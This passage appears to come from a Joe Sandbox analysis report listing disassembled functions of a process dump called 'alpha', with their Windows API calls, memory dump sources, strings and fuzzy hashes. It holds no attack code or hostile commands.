                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
                                                                                      • String ID:
                                                                                      • API String ID: 22757656-0
                                                                                      • Opcode ID: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
                                                                                      • Instruction ID: 7275ce8513ca8e8ff8e148d847579d7824b7c2efa29dbe38450e67a6870d3fad
                                                                                      • Opcode Fuzzy Hash: 6f2d595de901b4657c2270727e019009ca61754dc2b8e6e3406c67fcea3533dc
                                                                                      • Instruction Fuzzy Hash: A1116D72A186859BF7106B24E449379BAA0FB89B64FB48334E62A473D0CF3CD449CB10
                                                                                      Function 00007FF78CF65690 Relevance: 6.0, APIs: 4, Instructions: 44memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF78CF65433,?,?,?,00007FF78CF669B8,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF656C5
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF656D9
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000028,00007FF78CF65433,?,?,?,00007FF78CF669B8,?,?,?,?,?,00007FF78CF58C39), ref: 00007FF78CF656FD
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF65711
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$FreeProcess
                                                                                      • String ID:
                                                                                      • API String ID: 3859560861-0
                                                                                      • Opcode ID: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
                                                                                      • Instruction ID: cab319b2169616d34df438b7210899bbe9c5cb1fb51d01f23f344ceab5734ba6
                                                                                      • Opcode Fuzzy Hash: 3558426be91c37f0606525c683e3d483ead9a8c3dc25e426f1ffeaf0c5774795
                                                                                      • Instruction Fuzzy Hash: E8111873A08B91D6EB009F56E4440ADBBB0FB8DF85B998125EB4E03718DF38E456C750
                                                                                      Function 00007FF78CF59158 Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                                                      • String ID:
                                                                                      • API String ID: 140117192-0
                                                                                      • Opcode ID: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
                                                                                      • Instruction ID: 1d1b8d6de557ac16035961ac2b4a8cbde59b2e516449d6ec5446cf4813f09b61
                                                                                      • Opcode Fuzzy Hash: c08ae526ada62f987d461bd82afd9432e1c3bf21ef9f50b7bdd1a09949af37b2
                                                                                      • Instruction Fuzzy Hash: 8421B236919B8586F740AB04F886369B3A4FB88754FF0003AEA8D43B64DF7DE549C720
                                                                                      Function 00007FF78CF54AD0 Relevance: 6.0, APIs: 4, Instructions: 33memoryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AD6
                                                                                      • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF54AEF
                                                                                        • Part of subcall function 00007FF78CF54A14: GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A28
                                                                                        • Part of subcall function 00007FF78CF54A14: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A66
                                                                                        • Part of subcall function 00007FF78CF54A14: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A7D
                                                                                        • Part of subcall function 00007FF78CF54A14: memmove.MSVCRT(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54A9A
                                                                                        • Part of subcall function 00007FF78CF54A14: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF78CF549F1), ref: 00007FF78CF54AA2
                                                                                      • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF48798), ref: 00007FF78CF5EE64
                                                                                      • RtlFreeHeap.NTDLL ref: 00007FF78CF5EE78
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$Process$AllocEnvironmentFreeStrings$memmove
                                                                                      • String ID:
                                                                                      • API String ID: 2759988882-0
                                                                                      • Opcode ID: 7a5c712774281da9825380d2707369d566eac4a7ff1e30a642231065effaaf4a
                                                                                      • Instruction ID: ea0f39b59fb40e4d92569d7d512405dde19547395f7b907123ddc527dc10058a
                                                                                      • Opcode Fuzzy Hash: 7a5c712774281da9825380d2707369d566eac4a7ff1e30a642231065effaaf4a
                                                                                      • Instruction Fuzzy Hash: 5EF04F22B19B8297FB04AB659405178E9E1FF8EB41FA9D034DE0E82340EE3CA509C721
                                                                                      Function 00007FF78CF6F22C Relevance: 6.0, APIs: 4, Instructions: 20COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleMode_get_osfhandle
                                                                                      • String ID:
                                                                                      • API String ID: 1606018815-0
                                                                                      • Opcode ID: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
                                                                                      • Instruction ID: f9a527070c99a8bf6cb008b63be5511e381ce014da188d2ae00038686d0b1a47
                                                                                      • Opcode Fuzzy Hash: 422b38324ae02b1855cf7ad64e97296a8d78d568ed733181d0d72e350d9743d9
                                                                                      • Instruction Fuzzy Hash: 8DF01232524A82DBE7046B10E445179FAA0FB8AB02F949234EA0B02394DF3CD019CB11
                                                                                      Function 00007FF78CF4E420 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506D6
                                                                                        • Part of subcall function 00007FF78CF506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF506F0
                                                                                        • Part of subcall function 00007FF78CF506C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF5074D
                                                                                        • Part of subcall function 00007FF78CF506C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF78CF4B4DB), ref: 00007FF78CF50762
                                                                                        • Part of subcall function 00007FF78CF4EF40: iswspace.MSVCRT(00000000,00000000,?,00000000,?,00007FF78CF4E626,?,?,00000000,00007FF78CF51F69), ref: 00007FF78CF4F000
                                                                                        • Part of subcall function 00007FF78CF4EF40: wcschr.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F031
                                                                                        • Part of subcall function 00007FF78CF4EF40: iswdigit.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF4F0D6
                                                                                      • longjmp.MSVCRT ref: 00007FF78CF5CCBC
                                                                                      • longjmp.MSVCRT(?,?,00000000,00007FF78CF51F69,?,?,?,?,?,?,?,00007FF78CF4286E,00000000,00000000,00000000,00000000), ref: 00007FF78CF5CCE0
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcesslongjmp$iswdigitiswspacewcschr
                                                                                      • String ID: GeToken: (%x) '%s'
                                                                                      • API String ID: 3282654869-1994581435
                                                                                      • Opcode ID: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
                                                                                      • Instruction ID: 5f13d66e65e774de4bad0ed4c41063e5275ee4af81096f2beaef22826eb9a855
                                                                                      • Opcode Fuzzy Hash: 69c34943887ae9b74dbb8ac009ab6e722a6e47999aa419ff77bc8c62eb614955
                                                                                      • Instruction Fuzzy Hash: 8061D263A0964282FB15BB25A454679E3A0FF457A4FF44534DA1E8B7E1EE3CF580CB20
                                                                                      Function 00007FF78CF710D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 00007FF78CF4CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDA6
                                                                                        • Part of subcall function 00007FF78CF4CD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF78CF4B9A1,?,?,?,?,00007FF78CF4D81A), ref: 00007FF78CF4CDBD
                                                                                      • wcschr.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF78CF6827A), ref: 00007FF78CF711DC
                                                                                      • memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF78CF6827A), ref: 00007FF78CF71277
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: Heap$AllocProcessmemmovewcschr
                                                                                      • String ID: &()[]{}^=;!%'+,`~
                                                                                      • API String ID: 1135967885-381716982
                                                                                      • Opcode ID: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
                                                                                      • Instruction ID: 7320f57e11f412d6ee0ea33571a1d6cde63be9f090e41f51f893a5e5a4bf5cb3
                                                                                      • Opcode Fuzzy Hash: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
                                                                                      • Instruction Fuzzy Hash: 1D71A573A0828286F764EF15A481679F6E4FB94798FB08235FA4D87B94DF3CA445CB10
                                                                                      Function 00007FF78CF708EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: memmovewcsncmp
                                                                                      • String ID: 0123456789
                                                                                      • API String ID: 3879766669-2793719750
                                                                                      • Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
                                                                                      • Instruction ID: f5d4bb27727f3579cf4df73724975798a006033b56772392176e7e2708229546
                                                                                      • Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
                                                                                      • Instruction Fuzzy Hash: 2F41C623F187CA85FA25AF25E4016BAA3A4FF44B80FA45132EE4E47794EE3CD541C350
                                                                                      Function 00007FF78CF69784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF697D0
                                                                                        • Part of subcall function 00007FF78CF4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D46E
                                                                                        • Part of subcall function 00007FF78CF4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D485
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D4EE
                                                                                        • Part of subcall function 00007FF78CF4D3F0: iswspace.MSVCRT ref: 00007FF78CF4D54D
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D569
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D58C
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF698D7
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
                                                                                      • String ID: Software\Classes
                                                                                      • API String ID: 2714550308-1656466771
                                                                                      • Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
                                                                                      • Instruction ID: ffe5ec92dd592d719e4e119a4bec2538d0b98b81434c5ec11dc478eaa98d1f8d
                                                                                      • Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
                                                                                      • Instruction Fuzzy Hash: 4D417C23A19B5281FA40EB26D445839B3A5FB84BD0FE08231DA5E477E1EF39E946C350
                                                                                      Function 00007FF78CF6A0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6A0FC
                                                                                        • Part of subcall function 00007FF78CF4D3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D46E
                                                                                        • Part of subcall function 00007FF78CF4D3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF78CF4D485
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D4EE
                                                                                        • Part of subcall function 00007FF78CF4D3F0: iswspace.MSVCRT ref: 00007FF78CF4D54D
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D569
                                                                                        • Part of subcall function 00007FF78CF4D3F0: wcschr.MSVCRT ref: 00007FF78CF4D58C
                                                                                      • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF78CF6A1FB
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
                                                                                      • String ID: Software\Classes
                                                                                      • API String ID: 2714550308-1656466771
                                                                                      • Opcode ID: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
                                                                                      • Instruction ID: f969d81f935fd99609aa320aeb4a6c21047fc3f2265d4b70837b1ec295c7413f
                                                                                      • Opcode Fuzzy Hash: 8d4a83688f0bdb6c4652951bc114003fef2692198ab2fb548b80d57547a1bced
                                                                                      • Instruction Fuzzy Hash: 6B419E23A09B5282FA00EB15D44583AB3A5FB84BD0FA1C231DE5E477E1EF39E856C750
                                                                                      Function 00007FF78CF4CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: ConsoleTitle
                                                                                      • String ID: -
                                                                                      • API String ID: 3358957663-3695764949
                                                                                      • Opcode ID: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
                                                                                      • Instruction ID: b52ae294b5ef1b8cf45b3ce40a511f7975b8988d9aef4b328f1e22d5b6f9b082
                                                                                      • Opcode Fuzzy Hash: 6064907e277deedeb5a502c31a0978855624e0bf0fd413fe06aa3058ee5bb337
                                                                                      • Instruction Fuzzy Hash: 0231A223A0874286FA04BB11A840078EAA4FF49F90FB56135DE0E17BD5EF3CE441C324
                                                                                      Function 00007FF78CF57280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmpswscanf
                                                                                      • String ID: :EOF
                                                                                      • API String ID: 1534968528-551370653
                                                                                      • Opcode ID: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
                                                                                      • Instruction ID: 9f7933a918f86561c7d85545699f46e181e42afbb407e269f3779df21b391ffb
                                                                                      • Opcode Fuzzy Hash: 0653d2a24574df907a156a73786289bc793a3e356bc39756bce3d9cad3207eea
                                                                                      • Instruction Fuzzy Hash: EF319233E28A4287FB14BB15A544278F6A1FF44B50FF45132EB4D86291DF2CE981CB60
                                                                                      Function 00007FF78CF43BE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000004.00000002.2137560333.00007FF78CF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF78CF40000, based on PE: true
                                                                                      • Associated: 00000004.00000002.2137544579.00007FF78CF40000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF7D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF81000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137612736.00007FF78CF8F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                      • Associated: 00000004.00000002.2137670028.00007FF78CF99000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_4_2_7ff78cf40000_alpha.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcsnicmp
                                                                                      • String ID: /-Y
                                                                                      • API String ID: 1886669725-4274875248
                                                                                      • Opcode ID: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
                                                                                      • Instruction ID: 3dad6994837674365b4a2734908d849de6c399a959c7a1f8ab600bf16d2ff5ba
                                                                                      • Opcode Fuzzy Hash: 772bd3782c46842c372c8b89a915565f11f80ecece3792b3c4e3ce842e7c51e5
                                                                                      • Instruction Fuzzy Hash: E5219067E087A681FB10AB129540678F6E1BB54FC0FA58031EF880B794DF3CE896D760
                                                                                      Function 00007FF78CF4B62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
